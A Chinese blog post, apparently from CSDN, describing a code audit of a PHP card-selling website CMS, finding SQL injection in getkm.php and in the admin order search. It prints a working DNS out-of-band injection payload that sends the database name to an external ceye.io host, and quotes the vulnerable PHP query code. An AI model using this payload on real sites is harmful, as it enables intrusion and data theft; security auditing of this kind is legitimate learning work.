个人发卡网搭建源码_发卡网代码审计

本文介绍了对一个发卡网站CMS的代码审计过程,重点关注首页和后台的功能安全。在首页功能点审计中,发现了ajax.php的SQL注入漏洞,但由于条件限制,实际利用困难。在后台功能点的审计中,着重检查了订单相关部分,寻找潜在的安全问题。
摘要由CSDN通过智能技术生成

前言

好胸弟柠枫昨天dd了我一下,这不,叫我一起审计发卡的cms

ae077a91f553afe2b3ed120e1acb75c7.png

君无戏言,最近也在整二进制,当然要跟我的好胸弟一起组队py一下,不知道我都多久没审了,吐

咱语文也不是很好,各位看官就将就着看看就好,水文勿喷

7e41bd3cace3030efa72b0ce99d3c743.png

0x01.  首页功能点审计

c07cc80a94162865ac339e6d28afdd53.png

打开一看,发现不是mvc框架了,那就感觉没啥好看头了,对于发卡网这种功能一般情况下是没多少功能点让我getshell的(可能是我太菜,大佬也可以审计一波,交流交流)

5d610cb7b89e43b64b26cb06aaccb4f9.png

直接进来看一下发现这边没啥可以利用的,莫得慌,我们按照功能点来测,先买一下东西,抓个包,看下是神马

b7468292813c10788ea991c10561f7e8.png

这边请求到了ajax.php这个页面,好家伙,我们就直接去ajax.php审计一波

8fcf0342303d35596f0b1b47b7281557.png

咦??这这这,这直接拼接的吗,把我给整神了,一看到在where后面,完了

写死了,这没啥子用呀,拼接了也执行不了啥直接把条件写死了,我们继续往下看看

5ee97299fbeb404a01618b3a2418727a.png

本以为这边有爱情,我觉得我又行了,进去_if函数一看哟西,头大了,我丝毫不慌,咱们随缘挖洞,就不信全部都过滤了(好吧,关键地方就是过滤了)

可能我追求速度,没那么认真,然后粗略一看,我们继续看其他地方有没有

ead5d8212a74f77430a62d57c0c15777.png

6b84dbb1e18b2bdee153a8139d655137.png

最后发现 C:\Users\86183\Desktop\faka\template\chiji\getkm.php 存在注入

也就是 getkm.php 存在注入,我们直接去看看这个页面,我们可以看到它这边是必会执行这下面这条语句,我们就直接在post包中添加 tqm 这个参数就行

template里面是个模板,然后 模板里面都存在 getkm.php,也就是说都存在这个注入

44a047e6146e1d9c9a57fef2d6d5f4ab.png

f45b3f65c4876f87ddeff525fd52e9e5.png

于是扔给了sqlmap跑,但是我发现这边不准确,不知道为什么,我本地搭建的也会延迟,等了好久,没有反应;

cfd785537ced84a6f205f04bb7a2b249.png

ad7994c28b3248de3348a0ea9a189da5.png

那就想想其他骚姿势,没有 mysql_error() 函数,报错注入就算了;

脑瓜子一转,我觉得可以使用 dns带外进行注入,说淦就淦

305818217d09acce4d701ea4f854d4ba.png

先去构造一下payload

tqm=1' and (select load_file(concat('\\\\',(select database()),'.pdkzwo.ceye.io\\aaa')))#

ad3cb4272951261dba584cd7a0eb13a5.png

这就成功的执行了~~

转眼看看sqlmap

576c0cc2cc3708f44d8a9af08418ad17.png

还是就这样吧......

0x02.  后台功能点

df19502bd25196aba89ad56f2aabe7a3.png

然后我们就在这个订单这边审计,看看能审计出什么

<?php $pagesize=30;$pages=intval($numrows/$pagesize);if ($numrows%$pagesize){ $pages++; }if (isset($_GET['page'])){$page=intval($_GET['page']);}else{$page=1;}$offset=$pagesize*($page - 1);if(!empty($_GET['act']) && $_GET['act'] != null && $_GET['act'] == "sousuo"){    $pz = $_POST['pz'];    $sql = "SELECT * FROM if_order WHERE  out_trade_no like '%$pz%' or trade_no like '%$pz%' or rel  like '%$pz%'   order by id desc ";}else{    $sql = "SELECT * FROM if_order WHERE{$sql} order by id desc limit $offset,$pagesize";    // echo $sql;}$rs=$DB->query($sql);while($res = $DB->fetch($rs)){echo ''.$res['out_trade_no'].'
'.$res['trade_no'].'' . ''.getName($res['gid'],$DB).''.$res['rel'].'' . ''.$res['endTime'].''.$res['number'].'¥'.$res['money'].'('.getPayType($res['type']).')'.''.zt($res['sta']).'';}?>

这边出现intval函数,我们就放弃,然后我们继续往下看,看到了这一段

5342c8fb633b662baf95212a18b3bba3.png

这.....完全的典型的注入,这边我们可以看到act传参sousuo,POST包传参pz就行了,注入点是在pz的地方

c6d94eca461106272580c8c2b0bd6695.png

像我这种脚本小子,都是扔sqlmap一把梭

6d00df2f716ebaf4a399ee4131d54463.png

然后就这样了,这个注入还是比较多的,我没去审计完;

4a60edd50dae854b1cd328195eb32246.png

本人代码审计一般都是功能点审计,这也是我最常用,实战中也是比较常用的。功能点审计完后可以看看还有没有其他的漏洞,比如添加管理员的时候没有校验cookie等等的逻辑漏洞,然后再敏感函数查找,比如simplexml_load_string,unserilize,命令执行的函数等等

另外:需要源码练手的好胸嘚公众号私聊

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值